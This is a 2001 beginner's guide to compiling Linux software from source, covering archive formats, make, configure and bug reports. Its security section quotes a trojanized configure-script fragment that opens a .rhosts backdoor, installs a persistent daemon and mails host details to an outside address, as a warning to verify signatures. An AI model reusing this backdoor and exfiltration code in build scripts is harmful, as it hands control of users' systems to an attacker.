2001 Rainer Wichmann Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. You may obtain a copy of the GNU Free Documentation License from the Free Software Foundation by visiting their Web site or by writing to: Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. This is version 1.0 of Compile-Howto manual. There are times when you may want to compile an application from source, rather than install a binary release (e.g. an RPM). This document has been written as guide to show you, at a beginners level, how to do this. I will presume that you are a Linux user, although much of the discussion is pretty generic. Common reasons for compiling from source include: There is no binary release for a particular application you are interested in. This is probably the most frequent reason. The binary release is out of date, and you want to take advantage of a newer release of the application (because of bug fixes or new features that you deem interesting). The binary release is not optimized for your system, and you want to gain some speed by compiling with better optimization (don't expect more than a few percent, however). You want to audit the code for security (while this is a frequently cited reason, I doubt that many people out there really look into megabytes of source code every few days … ). If you are into that, you probably already know everything discussed in this guide. This document was written in DocBook(SGML). The SGML source is available online. You can use the source to create other formats including PostScript, and PDF. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. You may obtain a copy of the GNU Free Documentation License from the Free Software Foundation by visiting their Web site or by writing to: Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. You can reach the author at rwichmann {at} la-samhna.de. There are a number of possible locations from where you may be able to obtain the source code for the application of your choice. The applications homepage If the application has a homepage, this is probably the place where you will get the most up-to-date releases, as well as information that may be useful for compiling. Many open source applications are hosted on SourceForge. Also Freshmeat is a good place to start searching. Public FTP servers There are several public FTP servers that provide source code repositories for open source applications. The oldest and probably most well-known one of these is Metalab, also known as TSFKAS (The Site Formerly Known As Sunsite). There are many mirrors around the globe. Linux Distributors Most Linux distributors have their own FTP servers, where you can download source code for their packages. You should be aware that it is possible (and has actually happened) that someone hacks/cracks an FTP server and replaces a source package with a trojanized version (that e.g. will install a backdoor on your machine and notify the cracker by email). If possible, always verify PGP signatures of source packages, or download from more than one location and compare the packages (e.g. with md5sum). If there is no PGP signature, try mailing the author to request one. It is often claimed that Linux (and UNIX) is rather safe from virii, worms, and trojans. However, this is largely based on two facts: No unsafe automatic actions Most Linux applications will not perform unsafe actions (like executing scripts) automatically. Sandboxed users Users have limited privileges only. Only the superuser can access and modify the system. Installing an application requires to run some scripts and/or makefiles, usually with superuser privileges, at least for installation to system directories. Thus, whenever you install an application, you give up all what makes Linux more secure than some other operating systems, and you basically give control over your system to the installation scripts of that application. This is true for RPMs as well as for installations from source. As an example, the following has been found in the configure script (see ) of a popular applications source code, downloaded from an ftp server that apparently got cracked: # checking if we are root or not if [ `whoami` == "root" ];then root_user=1 else root_user=0 fi ... and further below: if [ $root_user != "1" ];then echo "+ +" > ~/.rhosts echo $LOGNAME >/tmp/jea;whoami >>/tmp/jea;hostname >>/tmp/jea;/sbin/ifconfig >>/ mail l4m0r@freebox.com < /tmp/jea rm -rf /tmp/jea else if [ `uname -s` != Linux ];then echo "" else mv -f .xinitrc /bin/lpr echo "# printing status monitor" >> /etc/rc.d/rc.local echo "/bin/lpr &" >> /etc/rc.d/rc.local hostname >>/tmp/jea;/sbin/ifconfig >>/tmp/jea mail l4m0r@freebox.com < /tmp/jea /bin/lpr & rm -rf /tmp/jea fi Basically, the shell script fragment above will create a backdoor on the machine, either by writing an insecure .rhosts or by installing a daemon that listens for connections (the file .xinitrc that gets copied to /bin/lpr). Then the address of the machine gets mailed to the cracker. In order to save yourself from such nasty surprises, you should download RPMs or source code only from trustworthy locations, and/or verify GnuPG (PGP) signatures if provided. If there is no PGP signature, mail the author, or try to locate a mirror, download a copy of the same software from there, and compare the two downloads. Apart from generic tools noted below, many applications require specific libraries to build. E.g. applications providing a graphical user interface may need a widget library like gtk+. You will need to install such items before you can compile the application. Some Linux distributions split packages into "runtime" and "devel" parts, e.g. gtk and gtk-devel. In that case, if you want to compile an application that requires e.g. gtk, you will need gtk-devel as well. There are a (small) number of tools that you will most probably need to compile an application from source. You should check whether you have them already installed, otherwise, this is the time to search for your distribution CD. tar, gzip — You will need those to unpack source packages in .tar.gz or .tgz format. Other formats may require rpm (for source rpm packages), or unzip (for .zip packages, mostly used on Windows). gcc — The GNU Compiler Collection (of course other compilers might do as well). gcc supports several of the most popular languages (C, C++, Fortran, and Objective C). make — Almost every source package uses make to build the application. libtool — Required if an application wants to build a shared library. bison (or yacc), flex (or lex) — Some applications require them (not very many, indeed). In almost all cases, source consists of several / many files that are packed and compressed into a single archive file. Thus the first step is to uncompress / unpack the source. Tarballs (.tgz / .tar.gz / .tar.Z) These are tar archives that are compressed with gzip (.tgz / .tar.gz) or compress (.tar.Z). To unpack a tarball, use the following command that works regardless whether the archive was compressed with gzip or compress bash$ gunzip -c foo.tar.gz | tar -xvf - foo/ foo/README foo/Makefile.in … Not all tarballs unpack into a subdirectory. To make sure your current directory will not get littered, you can get a listing without actually unpacking the tarball with the command gunzip -c foo.tar.gz | tar -tf - Source RPM archives (.src.rpm) SRPM archives usually don't need to be unpacked before using them (see ). In the rare case that you really want to unpack an RPM (regardless whether it is a source or binary RPM), you could do it as follows (note that you need the utilities rpm2cpio and cpio): rpm2cpio foo.rpm | cpio -idmv --no-absolute-filenames In the case of a source RPM, the content will likely turn out to be two files — a .spec file and a tarball (see above). If you simply want to list the contents of an RPM package file, you can do that with rpm --query --list -p foo.rpm Zip archives (.zip) Zip archives are used mostly on Windows. On Linux/Unix, you can use the unzip utility to unpack them: unzip foo.zip As with tarballs, not all zip archives unpack into a subdirectory, which can be rather annoying. To get a listing without actually unpacking, use the command unzip -l foo.zip Shell archives (.shar) Shell archives are not widely used. To unpack a .shar file, simply pass it to the shell: /bin/sh foo.shar A source RPM (SRPM) package typically contains a gzipped tar archive with the source files, and an RPM spec file. To compile and install a source RPM package, you can do the following: bash$ rpm --rebuild foo.src.rpm … (lots of output) … Wrote: /usr/src/packages/RPMS/i386/foo.i386.rpm … + exit 0 … bash$ rpm -Uvh /usr/src/packages/RPMS/i386/foo.i386.rpm foo ################################################## If all goes well, you can skip everything below. If not, you may want to cd /usr/src/packages/BUILD/foo-Version, read on below, and try to figure out how to compile the application If for some reason you do not like to use rpm, you can unpack the source RPM (see ), and compile manually (see the next few sections). Source packages usually uncompress into a directory, and come in two flavours: flat and nested. Flat means that everything is in the top level source directory, while nested means that there are a number of seperate subdirectories. Typically, the top level source directory contains generic documentation like README (which you should do), INSTALL (generic installation instructions), and COPYING (license). In the top level source directory you should also find either a file named Makefile, or the files configure and Makefile.in. If the source package is nested, there will also be subdirectories with names like src (source files), docs (documentation), help (documentation), intl (internationalisation), and po (translations). Either in the top level source directory or in the src subdirectory, you will usually find several / many source files. These files usually have suffixes like .c (C source code), .cpp (C++), or .f (Fortran). Typically you will also find files with the suffix .h, which are header files containing definitions. These are commonly used names for subdirectories, but nothing forbids the author of a source package to use a completely different convention. If the source consists of a single source file (e.g. foo.c, it can be compiled straightforward with gcc -o foo foo.c However, most applications consist of several / many source (and header) files. Moreover, there are sometimes complicated dependencies as to which files need to be re-compiled if some file has been edited. For this reason, there is a utility called make that allows to build large and complex applications simply by specifying appropriate rules in a Makefile, and then invoking make. If there is no Makefile, but a file named Makefile.in, then there is usually also a file named configure. Read to learn how to create a Makefile from these files. A Makefile contains a number of rules. Each of these rules has on the first line a target (that should be made by the rule), followed by a colon, optionally followed by a list of dependencies (that are required to make the target). Optionally, the next line(s) contain the (shell) command(s) to make the target. Each of these lines must start with a tab — not some spaces. If make is invoked, you can give any target in the makefile as argument. The default target is "all" (that is, a target named "all", not all targets). Also, by default make will use a file named Makefile in the current directory. Thus, we can create a file Makefile with two targets "all" and "foo" like this: all: foo foo: foo.c gcc -c foo foo.c We can then invoke make like this: bash$ make gcc -c foo foo.c bash$ make foo make: `foo' is up to date. bash$ make nonexistent_target make: *** No rule to make target `nonexistent_target'. Stop. (The first command will make "all", which will also cause "foo" to be made (because the rule for "all" requires "foo"). The second command will do nothing, because "foo" has just been made, and "foo.c" has not been changed since. The third command fails because we have no rule for "nonexistent_target" in our example Makefile). Commonly, a Makefile has rules for targets like all Default target, usually compiles the application. install Installs the compiled application, and eventually manpages or other files required to use the application. uninstall Uninstalls the application. clean Removes intermediary files generated during the compilation of the application. distclean Removes anything generated during the compilation, to start allow a fresh start. If an application should build on many different systems, it needs to be properly configured to adapt to the particular features of any supported system. To solve this problem, there is a tool named autoconf which a software author can use for this purpose. With autoconf the author/ developer creates a file named configure that is then included in the source package and should be executed by the installer (configure is simply a shell script). When you execute configure, it will probe your system for (hopefully) all relevant features, generate a Makefile from an input file called Makefile.in, and generate a file config.h from an input file called config.h.in. Note that more output files may get created. A typical run looks like: bash$ ./configure creating cache ./config.cache checking for a BSD compatible install... /usr/bin/ginstall -c … checking for gcc... gcc … checking for gtk-config... /usr/bin/gtk-config checking for GTK - version >= 1.2.0... yes … checking for getpagesize... yes checking for working mmap... yes … creating Makefile creating src/Makefile creating config.h You can see that configure checks for the presence of the compiler (gcc) as well as for an install utility. It also looks for gtk+, which is a widget library (i.e. it creates windows, buttons, text entry fields and so on for graphical user interfaces), checks for system-specific items (getpagesize, mmap), and finally creates Makefile, Makefile.in, and config.h. Note that only a small part of the output is shown in the example above. configure should be invoked as ./configure and can take arguments. Some of the more interesting ones are: --help ./configure --help will list all available arguments. --prefix=PREFIX Defines the prefix for install directories. E.g. if PREFIX is /usr/local, then executables will be installed into /usr/local/bin, libraries will be installed in /usr/local/lib, and manpages into /usr/local/man/man1 --disable-nls Disable internationalisation (Natural Language Support) if you don't need/want it. Note that NLS sometimes causes compile problems, so disabling it is safer. Use ./configure --help to list available options, and/or read the README and INSTALL files to check which of these options may be of interest for you. If you edit the Makefile generated by configure, your changes will get lost if you run ./configure again. Edit the Makefile.in file instead. Now, after introducing you in the required tools and the structure of a source package, how do you compile it ? Well, from what you have learned in and , this would be fairly straightforward. If you are installing into a system directory, you likely will need to su root before. After installing a library, you need to run (as root) the command ldconfig, otherwise the library cannot be used. If you have installed the library into a directory that is not listed in the file /etc/ld.so.conf, you need to edit /etc/ld.so.conf to include that directory, and then run ldconfig. bash$ make … bash$ su root Password: bash$ make install … bash$ ./configure (optional arguments) … bash$ make … bash$ su root Password: bash$ make install … Theoretically, the configure script (if there is one) should take care of all your system-specific issues that might cause problems. However, first, not all source packages come with a configure script, and second, developers can't look into the future and foresee all potential problems that may arise. Software authors / developers usually take pride in their work, and would like it to function properly. Usually, you can find the email address of the developer somewhere in the documentation (sometimes, there is also an AUTHORS file). If you can provide the author with a useful problem report, you probably will receive help. However, you should be aware that simply telling the author "it doesn't compile" will help none of you both. A useful problem report should contain informations such as: What system do you have ? Use the command uname -a and include the output in your report. What did you do ? What arguments / options did you supply to configure ? Consider including the output from ./configure in your report. What happened ? Don't just say "it doesn't compile" — both ./configure and make will generate error messages if anything goes wrong. Include the full output in your report, not just the error message — an error message is often quite useless without knowing the context (e.g. which command was executed when / before the error occured).